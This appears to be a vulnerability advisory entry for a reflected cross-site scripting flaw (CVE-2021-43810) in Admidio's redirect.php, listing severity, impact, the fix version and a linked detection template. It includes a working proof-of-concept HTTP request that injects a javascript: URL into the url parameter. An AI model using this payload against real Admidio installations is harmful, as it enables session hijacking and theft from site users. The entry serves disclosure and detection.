| Title | Admidio - Cross-Site Scripting |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to version 4.0.12 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.62973 |
| CVE ID | CVE-2021-43810 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve admidio xss vuln |
A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious scripts.
GET /adm_program/system/redirect.php?url=javascript://%250aalert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-43810.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-43810.pcap
N/AN/A